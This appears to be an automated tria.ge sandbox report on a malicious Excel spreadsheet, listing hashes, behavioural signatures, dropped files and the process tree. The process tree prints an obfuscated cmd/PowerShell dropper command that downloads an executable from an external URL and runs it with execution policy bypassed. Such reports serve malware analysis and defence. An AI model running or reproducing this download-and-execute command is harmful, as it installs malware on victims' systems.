Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    46s
  • max time network
    40s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/08/2024, 02:44

General

  • Target

    2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls

  • Size

    71KB

  • MD5

    0eecd2469bcbffa61fe624d868a5e7d9

  • SHA1

    406737ead14edf10eb951a9eea75c657ab2ec7dd

  • SHA256

    2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65

  • SHA512

    862057f6be783526c3b43fa5db582931bf4e3bd2b57faba929b18ab8b226fd531513a24bb710b7d709368b5287f78f71491e169597c4f0fc8b506d345d028d0b

  • SSDEEP

    1536:WkxEtjPOtioVjDGUU1qfDlaGGx+cL+LIfdAMvZif71rzVm1jrKSFKp:WkxEtjPOtioVjDGUU1qfDlaGGx+cL+LM

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cedacriall.faith/1aqalpiniahelfuimoksa.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1940
      • C:\Windows\SYSTEM32\cMd.exe
        cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2700
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2644
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
      1⤵
        PID:3416

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tunuwjfq.gwd.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

        Filesize

        1KB

        MD5

        85c8222bbf75594135e95be6b0419240

        SHA1

        48af661d1b3fd9937cb880507c5f638387f144fe

        SHA256

        91293d1d72e52c6ced9c8f1e3b2b8adbee6ef28cc8015456ef87ce80dfa5b2a8

        SHA512

        4c4a4ebf173089ca5579ee7b32f6d233eb062e465a7cd4b99df764219ccd862167b4a179660ae65f47a83c744a377739fe4410753f1413cea947c006232565f5

      • memory/2644-295-0x0000024DF4D90000-0x0000024DF4DB2000-memory.dmp

        Filesize

        136KB

      • memory/2852-9-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp

        Filesize

        2.0MB

      • memory/2852-11-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp

        Filesize

        2.0MB

      • memory/2852-5-0x00007FF8A80CD000-0x00007FF8A80CE000-memory.dmp

        Filesize

        4KB

      • memory/2852-8-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp

        Filesize

        2.0MB

      • memory/2852-7-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp

        Filesize

        2.0MB

      • memory/2852-6-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp

        Filesize

        2.0MB

      • memory/2852-10-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp

        Filesize

        2.0MB

      • memory/2852-0-0x00007FF8680B0000-0x00007FF8680C0000-memory.dmp

        Filesize

        64KB

      • memory/2852-12-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp

        Filesize

        2.0MB

      • memory/2852-4-0x00007FF8680B0000-0x00007FF8680C0000-memory.dmp

        Filesize

        64KB

      • memory/2852-13-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp

        Filesize

        2.0MB

      • memory/2852-14-0x00007FF865800000-0x00007FF865810000-memory.dmp

        Filesize

        64KB

      • memory/2852-15-0x00007FF865800000-0x00007FF865810000-memory.dmp

        Filesize

        64KB

      • memory/2852-3-0x00007FF8680B0000-0x00007FF8680C0000-memory.dmp

        Filesize

        64KB

      • memory/2852-1-0x00007FF8680B0000-0x00007FF8680C0000-memory.dmp

        Filesize

        64KB

      • memory/2852-2-0x00007FF8680B0000-0x00007FF8680C0000-memory.dmp

        Filesize

        64KB

      • memory/2852-312-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp

        Filesize

        2.0MB